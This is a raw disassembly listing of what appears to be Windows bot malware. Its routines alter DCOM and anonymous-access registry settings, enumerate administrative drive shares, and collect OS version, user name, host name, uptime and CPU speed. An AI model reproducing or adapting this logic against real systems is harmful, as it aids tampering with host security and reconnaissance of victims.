

loc_41DA0E:				; CODE XREF: sub_41D7E0+21Cj
		mov	eax, [ebp+var_218]
		mov	[ebp+var_210], eax
		mov	[ebp+var_228], 1
		jmp	short loc_41DA33
; ---------------------------------------------------------------------------


loc_41DA26:				; CODE XREF: sub_41D7E0+325j
		mov	eax, [ebp+var_228]
		inc	eax
		mov	[ebp+var_228], eax


loc_41DA33:				; CODE XREF: sub_41D7E0+244j
		mov	eax, [ebp+var_228]
		cmp	eax, [ebp+var_21C]
		ja	loc_41DB0A
		mov	eax, [ebp+var_210]
		push	dword ptr [eax]
		call	sub_424570
		pop	ecx
		mov	ecx, [ebp+var_210]
		mov	ecx, [ecx]
		movzx	eax, word ptr [ecx+eax*2-2]
		cmp	eax, 24h
		jnz	loc_41DAF6
		mov	eax, [ebp+var_210]
		push	dword ptr [eax]
		call	sub_41B5D2
		pop	ecx
		push	eax
		push	0
		call	sub_41B724
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_41DAA8
		mov	eax, [ebp+var_210]
		push	dword ptr [eax]
		push	offset dword_44F8EC
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_421B90
		add	esp, 10h
		jmp	short loc_41DAC9
; ---------------------------------------------------------------------------


loc_41DAA8:				; CODE XREF: sub_41D7E0+2A3j
		mov	eax, [ebp+var_210]
		push	dword ptr [eax]
		push	offset dword_44F910
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_421B90
		add	esp, 10h


loc_41DAC9:				; CODE XREF: sub_41D7E0+2C6j
		cmp	[ebp+arg_C], 0
		jnz	short loc_41DAE9
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_41DAE9:				; CODE XREF: sub_41D7E0+2EDj
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4173DC
		pop	ecx


loc_41DAF6:				; CODE XREF: sub_41D7E0+283j
		mov	eax, [ebp+var_210]
		add	eax, 28h
		mov	[ebp+var_210], eax
		jmp	loc_41DA26
; ---------------------------------------------------------------------------


loc_41DB0A:				; CODE XREF: sub_41D7E0+25Fj
		push	[ebp+var_218]
		call	dword_4E1790
		jmp	loc_41DBD8
; ---------------------------------------------------------------------------


loc_41DB1B:				; CODE XREF: sub_41D7E0+228j
		and	[ebp+var_22C], 0
		jmp	short loc_41DB31
; ---------------------------------------------------------------------------


loc_41DB24:				; CODE XREF: sub_41D7E0+3F3j
		mov	eax, [ebp+var_22C]
		inc	eax
		mov	[ebp+var_22C], eax


loc_41DB31:				; CODE XREF: sub_41D7E0+342j
		cmp	[ebp+var_22C], 4
		jnb	loc_41DBD8
		mov	eax, [ebp+var_22C]
		push	off_44F738[eax*8]
		push	0
		call	sub_41B724
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_41DB80
		mov	eax, [ebp+var_22C]
		push	off_44F738[eax*8]
		push	offset dword_44F93C
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_421B90
		add	esp, 10h
		jmp	short loc_41DBA6
; ---------------------------------------------------------------------------


loc_41DB80:				; CODE XREF: sub_41D7E0+376j
		mov	eax, [ebp+var_22C]
		push	off_44F738[eax*8]
		push	offset dword_44F960
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_421B90
		add	esp, 10h


loc_41DBA6:				; CODE XREF: sub_41D7E0+39Ej
		cmp	[ebp+arg_C], 0
		jnz	short loc_41DBC6
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_41DBC6:				; CODE XREF: sub_41D7E0+3CAj
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4173DC
		pop	ecx
		jmp	loc_41DB24
; ---------------------------------------------------------------------------


loc_41DBD8:				; CODE XREF: sub_41D7E0+336j
					; sub_41D7E0+358j
		cmp	[ebp+var_220], 0EAh
		jz	loc_41D9C4
		push	offset dword_44F98C
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41DC10
; ---------------------------------------------------------------------------


loc_41DBFD:				; CODE XREF: sub_41D7E0+1C9j
		push	offset dword_44F9B4
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_41DC10:				; CODE XREF: sub_41D7E0+41Bj
		cmp	[ebp+arg_C], 0
		jnz	short loc_41DC30
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_41DC30:				; CODE XREF: sub_41D7E0+434j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		leave
		retn
sub_41D7E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DC42	proc near		; CODE XREF: sub_41D75F+62p

var_230		= byte ptr -230h
var_224		= byte ptr -224h
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= word ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 230h
		cmp	dword_4E17D0, 0
		jnz	loc_41DDC1
		lea	eax, [ebp+var_204]
		push	eax
		push	2001Fh
		push	0
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	80000002h
		call	dword_4E1770	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41DCEB
		mov	ax, word_44F9E4
		mov	[ebp+var_208], ax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		push	1
		push	0
		push	offset aEnabledcom_0 ; "EnableDCOM"
		push	[ebp+var_204]
		call	dword_4E1724	; RegSetValueExA
		test	eax, eax
		jz	short loc_41DCCA
		push	offset dword_44F9F4
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41DCDD
; ---------------------------------------------------------------------------


loc_41DCCA:				; CODE XREF: sub_41DC42+71j
		push	offset dword_44FA18
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_41DCDD:				; CODE XREF: sub_41DC42+86j
		push	[ebp+var_204]
		call	dword_4E16DC	; RegCloseKey
		jmp	short loc_41DCFE
; ---------------------------------------------------------------------------


loc_41DCEB:				; CODE XREF: sub_41DC42+36j
		push	offset dword_44FA34
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_41DCFE:				; CODE XREF: sub_41DC42+A7j
		cmp	[ebp+arg_C], 0
		jnz	short loc_41DD1E
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_41DD1E:				; CODE XREF: sub_41DC42+C0j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4173DC
		pop	ecx
		lea	eax, [ebp+var_204]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	80000002h
		call	dword_4E1770	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41DDAC
		and	[ebp+var_20C], 0
		push	4
		lea	eax, [ebp+var_20C]
		push	eax
		push	4
		push	0
		push	offset aRestrictanon_0 ; "restrictanonymous"
		push	[ebp+var_204]
		call	dword_4E1724	; RegSetValueExA
		test	eax, eax
		jz	short loc_41DD8B
		push	offset dword_44FA78
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41DD9E
; ---------------------------------------------------------------------------


loc_41DD8B:				; CODE XREF: sub_41DC42+132j
		push	offset dword_44FAB8
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_41DD9E:				; CODE XREF: sub_41DC42+147j
		push	[ebp+var_204]
		call	dword_4E16DC	; RegCloseKey
		jmp	short loc_41DDBF
; ---------------------------------------------------------------------------


loc_41DDAC:				; CODE XREF: sub_41DC42+109j
		push	offset dword_44FAF0
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_41DDBF:				; CODE XREF: sub_41DC42+168j
		jmp	short loc_41DDD4
; ---------------------------------------------------------------------------


loc_41DDC1:				; CODE XREF: sub_41DC42+10j
		push	offset dword_44FB2C
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_41DDD4:				; CODE XREF: sub_41DC42:loc_41DDBFj
		cmp	[ebp+arg_C], 0
		jnz	short loc_41DDF4
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_41DDF4:				; CODE XREF: sub_41DC42+196j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4173DC
		pop	ecx
		cmp	dword_4E17F8, 0
		jnz	loc_41E030
		and	[ebp+var_218], 0
		jmp	short loc_41DE24
; ---------------------------------------------------------------------------


loc_41DE17:				; CODE XREF: sub_41DC42+292j
		mov	eax, [ebp+var_218]
		inc	eax
		mov	[ebp+var_218], eax


loc_41DE24:				; CODE XREF: sub_41DC42+1D3j
		cmp	[ebp+var_218], 2
		jnb	loc_41DED9
		mov	eax, [ebp+var_218]
		push	dword_44F73C[eax*8]
		mov	eax, [ebp+var_218]
		push	off_44F738[eax*8]
		push	0
		call	sub_41B654
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DE81
		mov	eax, [ebp+var_218]
		push	off_44F738[eax*8]
		push	offset dword_44FB5C
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_421B90
		add	esp, 10h
		jmp	short loc_41DEA7
; ---------------------------------------------------------------------------


loc_41DE81:				; CODE XREF: sub_41DC42+215j
		mov	eax, [ebp+var_218]
		push	off_44F738[eax*8]
		push	offset dword_44FB7C
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_421B90
		add	esp, 10h


loc_41DEA7:				; CODE XREF: sub_41DC42+23Dj
		cmp	[ebp+arg_C], 0
		jnz	short loc_41DEC7
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_41DEC7:				; CODE XREF: sub_41DC42+269j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4173DC
		pop	ecx
		jmp	loc_41DE17
; ---------------------------------------------------------------------------


loc_41DED9:				; CODE XREF: sub_41DC42+1E9j
		nop
		call	near ptr 2930000h
		mov	[ebp+var_214], eax
		mov	[ebp+var_210], 41h
		jmp	short loc_41DF0A
; ---------------------------------------------------------------------------


loc_41DEEE:				; CODE XREF: sub_41DC42:loc_41E016j
		mov	al, [ebp+var_210]
		add	al, 1
		mov	[ebp+var_210], al
		mov	eax, [ebp+var_214]
		shr	eax, 1
		mov	[ebp+var_214], eax


loc_41DF0A:				; CODE XREF: sub_41DC42+2AAj
		cmp	[ebp+var_214], 0
		jz	loc_41E01B
		mov	eax, [ebp+var_214]
		and	eax, 1
		cmp	eax, 1
		jnz	loc_41E016
		movsx	eax, [ebp+var_210]
		cmp	eax, 41h
		jz	loc_41E016
		movsx	eax, [ebp+var_210]
		push	eax
		push	offset aC_4	; "%c$"
		push	0Ah
		lea	eax, [ebp+var_224]
		push	eax
		call	sub_421B90
		add	esp, 10h
		movsx	eax, [ebp+var_210]
		push	eax
		push	offset aC_5	; "%c:\\"
		push	0Ah
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_421B90
		add	esp, 10h
		lea	eax, [ebp+var_230]
		push	eax
		call	dword_4E1760	; GetDriveTypeA
		cmp	eax, 3
		jnz	loc_41E016
		lea	eax, [ebp+var_230]
		push	eax
		lea	eax, [ebp+var_224]
		push	eax
		push	0
		call	sub_41B654
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DFC9
		lea	eax, [ebp+var_224]
		push	eax
		push	offset dword_44FBB0
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_421B90
		add	esp, 10h
		jmp	short loc_41DFE9
; ---------------------------------------------------------------------------


loc_41DFC9:				; CODE XREF: sub_41DC42+363j
		lea	eax, [ebp+var_224]
		push	eax
		push	offset dword_44FBD0
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_421B90
		add	esp, 10h


loc_41DFE9:				; CODE XREF: sub_41DC42+385j
		cmp	[ebp+arg_C], 0
		jnz	short loc_41E009
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_41E009:				; CODE XREF: sub_41DC42+3ABj
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4173DC
		pop	ecx


loc_41E016:				; CODE XREF: sub_41DC42+2E1j
					; sub_41DC42+2F1j ...
		jmp	loc_41DEEE
; ---------------------------------------------------------------------------


loc_41E01B:				; CODE XREF: sub_41DC42+2CFj
		push	offset dword_44FBF8
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41E043
; ---------------------------------------------------------------------------


loc_41E030:				; CODE XREF: sub_41DC42+1C6j
		push	offset dword_44FC1C
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_41E043:				; CODE XREF: sub_41DC42+3ECj
		cmp	[ebp+arg_C], 0
		jnz	short loc_41E063
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_41E063:				; CODE XREF: sub_41DC42+405j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		leave
		retn
sub_41DC42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E075	proc near		; CODE XREF: sub_4021E5+260Ap
					; sub_4021E5+2F6Fp ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		call	near ptr 27D079Eh
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		sub	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_4]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_10], eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	offset dword_4E91A4
		call	sub_421B90
		add	esp, 18h
		mov	eax, offset dword_4E91A4
		leave
		retn
sub_41E075	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		and	dword ptr [ebp-4], 0
		mov	dword ptr [ebp-98h], 94h
		lea	eax, [ebp-98h]
		push	eax
		call	near ptr 2820000h
		nop
		test	eax, eax
		jz	loc_41E1F0
		cmp	dword ptr [ebp-94h], 4
		jnz	short loc_41E163
		cmp	dword ptr [ebp-90h], 0
		jnz	short loc_41E163
		cmp	dword ptr [ebp-88h], 1
		jnz	short loc_41E14E
		mov	dword ptr [ebp-4], 1


loc_41E14E:				; CODE XREF: .XComp0:0041E145j
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41E15E
		mov	dword ptr [ebp-4], 1


loc_41E15E:				; CODE XREF: .XComp0:0041E155j
		jmp	loc_41E1EE
; ---------------------------------------------------------------------------


loc_41E163:				; CODE XREF: .XComp0:0041E133j
					; .XComp0:0041E13Cj
		cmp	dword ptr [ebp-94h], 4
		jnz	short loc_41E17E
		cmp	dword ptr [ebp-90h], 0Ah
		jnz	short loc_41E17E
		mov	dword ptr [ebp-4], 2
		jmp	short loc_41E1EE
; ---------------------------------------------------------------------------


loc_41E17E:				; CODE XREF: .XComp0:0041E16Aj
					; .XComp0:0041E173j
		cmp	dword ptr [ebp-94h], 4
		jnz	short loc_41E199
		cmp	dword ptr [ebp-90h], 5Ah
		jnz	short loc_41E199
		mov	dword ptr [ebp-4], 3
		jmp	short loc_41E1EE
; ---------------------------------------------------------------------------


loc_41E199:				; CODE XREF: .XComp0:0041E185j
					; .XComp0:0041E18Ej
		cmp	dword ptr [ebp-94h], 5
		jnz	short loc_41E1B4
		cmp	dword ptr [ebp-90h], 0
		jnz	short loc_41E1B4
		mov	dword ptr [ebp-4], 2
		jmp	short loc_41E1EE
; ---------------------------------------------------------------------------


loc_41E1B4:				; CODE XREF: .XComp0:0041E1A0j
					; .XComp0:0041E1A9j
		cmp	dword ptr [ebp-94h], 5
		jnz	short loc_41E1CF
		cmp	dword ptr [ebp-90h], 1
		jnz	short loc_41E1CF
		mov	dword ptr [ebp-4], 3
		jmp	short loc_41E1EE
; ---------------------------------------------------------------------------


loc_41E1CF:				; CODE XREF: .XComp0:0041E1BBj
					; .XComp0:0041E1C4j
		cmp	dword ptr [ebp-94h], 5
		jnz	short loc_41E1EA
		cmp	dword ptr [ebp-90h], 2
		jnz	short loc_41E1EA
		mov	dword ptr [ebp-4], 7
		jmp	short loc_41E1EE
; ---------------------------------------------------------------------------


loc_41E1EA:				; CODE XREF: .XComp0:0041E1D6j
					; .XComp0:0041E1DFj
		and	dword ptr [ebp-4], 0


loc_41E1EE:				; CODE XREF: .XComp0:loc_41E15Ej
					; .XComp0:0041E17Cj ...
		jmp	short loc_41E1F4
; ---------------------------------------------------------------------------


loc_41E1F0:				; CODE XREF: .XComp0:0041E126j
		and	dword ptr [ebp-4], 0


loc_41E1F4:				; CODE XREF: .XComp0:loc_41E1EEj
		mov	eax, [ebp-4]
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1F9	proc near		; CODE XREF: sub_41E318+332p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h


loc_41E1FF:				; CODE XREF: sub_41E1F9+3Fj
					; sub_41E1F9+4Aj
		call	sub_41E74A
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], edx
		push	3E8h
		call	near ptr 27B048Ah
		nop
		call	sub_41E74A
		sub	eax, [ebp+var_20]
		sbb	edx, [ebp+var_1C]
		push	0
		push	0F4240h
		push	edx
		push	eax
		call	sub_424140
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		ja	short loc_41E1FF
		jb	short loc_41E245
		cmp	[ebp+var_8], 0F4240h
		ja	short loc_41E1FF


loc_41E245:				; CODE XREF: sub_41E1F9+41j
		push	0
		push	64h
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_4241B0
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], edx
		mov	[ebp+var_10], 64h
		and	[ebp+var_C], 0
		cmp	[ebp+var_14], 0
		ja	short loc_41E27E
		jb	short loc_41E273
		cmp	[ebp+var_18], 50h
		jnb	short loc_41E27E


loc_41E273:				; CODE XREF: sub_41E1F9+72j
		mov	[ebp+var_10], 4Bh
		and	[ebp+var_C], 0


loc_41E27E:				; CODE XREF: sub_41E1F9+70j
					; sub_41E1F9+78j
		cmp	[ebp+var_14], 0
		ja	short loc_41E297
		jb	short loc_41E28C
		cmp	[ebp+var_18], 47h
		jnb	short loc_41E297


loc_41E28C:				; CODE XREF: sub_41E1F9+8Bj
		mov	[ebp+var_10], 42h
		and	[ebp+var_C], 0


loc_41E297:				; CODE XREF: sub_41E1F9+89j
					; sub_41E1F9+91j
		cmp	[ebp+var_14], 0
		ja	short loc_41E2B0
		jb	short loc_41E2A5
		cmp	[ebp+var_18], 37h
		jnb	short loc_41E2B0


loc_41E2A5:				; CODE XREF: sub_41E1F9+A4j
		mov	[ebp+var_10], 32h
		and	[ebp+var_C], 0


loc_41E2B0:				; CODE XREF: sub_41E1F9+A2j
					; sub_41E1F9+AAj
		cmp	[ebp+var_14], 0
		ja	short loc_41E2C9
		jb	short loc_41E2BE
		cmp	[ebp+var_18], 26h
		jnb	short loc_41E2C9


loc_41E2BE:				; CODE XREF: sub_41E1F9+BDj
		mov	[ebp+var_10], 21h
		and	[ebp+var_C], 0


loc_41E2C9:				; CODE XREF: sub_41E1F9+BBj
					; sub_41E1F9+C3j
		cmp	[ebp+var_14], 0
		ja	short loc_41E2E2
		jb	short loc_41E2D7
		cmp	[ebp+var_18], 1Eh
		jnb	short loc_41E2E2


loc_41E2D7:				; CODE XREF: sub_41E1F9+D6j
		mov	[ebp+var_10], 19h
		and	[ebp+var_C], 0


loc_41E2E2:				; CODE XREF: sub_41E1F9+D4j
					; sub_41E1F9+DCj
		cmp	[ebp+var_14], 0
		ja	short loc_41E2F8
		jb	short loc_41E2F0
		cmp	[ebp+var_18], 0Ah
		jnb	short loc_41E2F8


loc_41E2F0:				; CODE XREF: sub_41E1F9+EFj
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0


loc_41E2F8:				; CODE XREF: sub_41E1F9+EDj
					; sub_41E1F9+F5j
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_18]
		mov	ecx, [ebp+var_4]
		sbb	ecx, [ebp+var_14]
		add	eax, [ebp+var_10]
		adc	ecx, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		leave
		retn
sub_41E1F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E318	proc near		; CODE XREF: sub_4021E5+2BE5p

var_96C		= byte ptr -96Ch
var_7EC		= byte ptr -7ECh
var_66C		= byte ptr -66Ch
var_660		= dword	ptr -660h
var_65C		= dword	ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_64C		= byte ptr -64Ch
var_5CC		= dword	ptr -5CCh
var_5C8		= byte ptr -5C8h
var_4C4		= word ptr -4C4h
var_4C2		= byte ptr -4C2h
var_3C4		= byte ptr -3C4h
var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= byte ptr -330h
var_2E8		= byte ptr -2E8h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_244		= byte ptr -244h
var_1C4		= byte ptr -1C4h
var_144		= byte ptr -144h
var_FC		= byte ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 96Ch
		push	esi
		push	edi
		mov	[ebp+var_2C8], offset dword_4E91DC
		mov	[ebp+var_660], 94h
		lea	eax, [ebp+var_660]
		push	eax
		nop
		call	near ptr 2820000h
		cmp	[ebp+var_65C], 4
		jnz	short loc_41E381
		cmp	[ebp+var_658], 0
		jnz	short loc_41E381
		cmp	[ebp+var_650], 1
		jnz	short loc_41E369
		mov	[ebp+var_2C8], offset a95_0 ; "95"


loc_41E369:				; CODE XREF: sub_41E318+45j
		cmp	[ebp+var_650], 2
		jnz	short loc_41E37C
		mov	[ebp+var_2C8], offset aNt_0 ; "NT"


loc_41E37C:				; CODE XREF: sub_41E318+58j
		jmp	loc_41E424
; ---------------------------------------------------------------------------


loc_41E381:				; CODE XREF: sub_41E318+33j
					; sub_41E318+3Cj
		cmp	[ebp+var_65C], 4
		jnz	short loc_41E3A2
		cmp	[ebp+var_658], 0Ah
		jnz	short loc_41E3A2
		mov	[ebp+var_2C8], offset a98_0 ; "98"
		jmp	loc_41E424
; ---------------------------------------------------------------------------


loc_41E3A2:				; CODE XREF: sub_41E318+70j
					; sub_41E318+79j
		cmp	[ebp+var_65C], 4
		jnz	short loc_41E3C0
		cmp	[ebp+var_658], 5Ah
		jnz	short loc_41E3C0
		mov	[ebp+var_2C8], offset aMe_1 ; "ME"
		jmp	short loc_41E424
; ---------------------------------------------------------------------------


loc_41E3C0:				; CODE XREF: sub_41E318+91j
					; sub_41E318+9Aj
		cmp	[ebp+var_65C], 5
		jnz	short loc_41E3DE
		cmp	[ebp+var_658], 0
		jnz	short loc_41E3DE
		mov	[ebp+var_2C8], offset a2k_0 ; "2K"
		jmp	short loc_41E424
; ---------------------------------------------------------------------------


loc_41E3DE:				; CODE XREF: sub_41E318+AFj
					; sub_41E318+B8j
		cmp	[ebp+var_65C], 5
		jnz	short loc_41E3FC
		cmp	[ebp+var_658], 1
		jnz	short loc_41E3FC
		mov	[ebp+var_2C8], offset aXp_2 ; "XP"
		jmp	short loc_41E424
; ---------------------------------------------------------------------------


loc_41E3FC:				; CODE XREF: sub_41E318+CDj
					; sub_41E318+D6j
		cmp	[ebp+var_65C], 5
		jnz	short loc_41E41A
		cmp	[ebp+var_658], 2
		jnz	short loc_41E41A
		mov	[ebp+var_2C8], offset a2003_0 ;	"2003"
		jmp	short loc_41E424
; ---------------------------------------------------------------------------


loc_41E41A:				; CODE XREF: sub_41E318+EBj
					; sub_41E318+F4j
		mov	[ebp+var_2C8], offset a??? ; "???"


loc_41E424:				; CODE XREF: sub_41E318:loc_41E37Cj
					; sub_41E318+85j ...
		cmp	[ebp+var_650], 2
		jnz	short loc_41E465
		movsx	eax, [ebp+var_64C]
		test	eax, eax
		jz	short loc_41E465
		lea	eax, [ebp+var_64C]
		push	eax
		push	[ebp+var_2C8]
		push	offset aSS_5	; "%s (%s)"
		lea	eax, [ebp+var_3C4]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		lea	eax, [ebp+var_3C4]
		mov	[ebp+var_2C8], eax


loc_41E465:				; CODE XREF: sub_41E318+113j
					; sub_41E318+11Ej
		mov	[ebp+var_338], 100h
		mov	ax, word_44FC84
		mov	[ebp+var_4C4], ax
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_4C2]
		rep stosd
		stosw
		cmp	dword_4E15E0, 0
		jz	short loc_41E4A8
		lea	eax, [ebp+var_338]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		call	dword_4E15E0	; GetUserNameA


loc_41E4A8:				; CODE XREF: sub_41E318+17Aj
		push	[ebp+arg_4]
		call	sub_40C86E
		pop	ecx
		push	eax
		call	dword_4E1740	; inet_addr
		mov	[ebp+var_5CC], eax
		push	2
		push	4
		lea	eax, [ebp+var_5CC]
		push	eax
		call	dword_4E16B8	; gethostbyaddr
		mov	[ebp+var_334], eax
		cmp	[ebp+var_334], 0
		jz	short loc_41E4F6
		mov	eax, [ebp+var_334]
		push	dword ptr [eax]
		lea	eax, [ebp+var_FC]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41E509
; ---------------------------------------------------------------------------


loc_41E4F6:				; CODE XREF: sub_41E318+1C4j
		push	offset aCouldnTResolve ; "couldn't resolve host"
		lea	eax, [ebp+var_FC]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_41E509:				; CODE XREF: sub_41E318+1DCj
		push	104h
		lea	eax, [ebp+var_5C8]
		push	eax
		nop
		call	near ptr 27B0000h
		push	46h
		lea	eax, [ebp+var_330]
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	0
		push	0
		push	409h
		nop
		call	near ptr 2870000h
		push	46h
		lea	eax, [ebp+var_144]
		push	eax
		push	offset aHhMmSs_0 ; "HH:mm:ss"
		push	0
		push	0
		push	409h
		nop
		call	near ptr 2861614h
		push	20h
		push	0
		lea	eax, [ebp+var_2E8]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		lea	eax, [ebp+var_2E8]
		push	eax
		nop
		call	near ptr 2940000h
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_66C]
		push	eax
		lea	eax, [ebp+var_5C8]
		push	eax
		call	sub_421C90
		add	esp, 14h
		lea	eax, [ebp+var_66C]
		push	eax
		lea	eax, [ebp+var_96C]
		push	eax
		call	sub_41983F
		pop	ecx
		pop	ecx
		mov	esi, eax
		push	60h
		pop	ecx
		lea	edi, [ebp+var_7EC]
		rep movsd
		push	60h
		pop	ecx
		lea	esi, [ebp+var_7EC]
		lea	edi, [ebp+var_2C4]
		rep movsd
		push	0
		call	sub_41E075
		pop	ecx
		push	eax
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_330]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
